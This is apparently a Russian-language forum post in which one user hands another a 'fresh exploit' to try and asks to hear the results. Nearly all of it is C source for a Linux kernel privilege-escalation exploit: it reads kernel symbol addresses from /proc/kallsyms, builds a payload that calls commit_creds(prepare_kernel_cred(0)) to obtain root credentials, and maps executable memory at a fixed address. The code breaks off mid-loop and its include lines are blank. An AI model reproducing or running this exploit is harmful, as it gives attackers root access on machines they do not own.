Он не сработает. попробуй этот и о результатах отпиши плиз. Типа свежий сплойтик

[CODE]
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int kernelmodecode(void *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}

while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);

return 0;
}


static void docall(uint64_t *ptr, uint64_t size)
{
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("symbol table not available, aborting!\n");
exit(1);
}

prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("symbol table not available, aborting!\n");
exit(1);
}

uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

printf("mapping at %lx\n", tmp);

if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}

for (; (uint64_t) ptr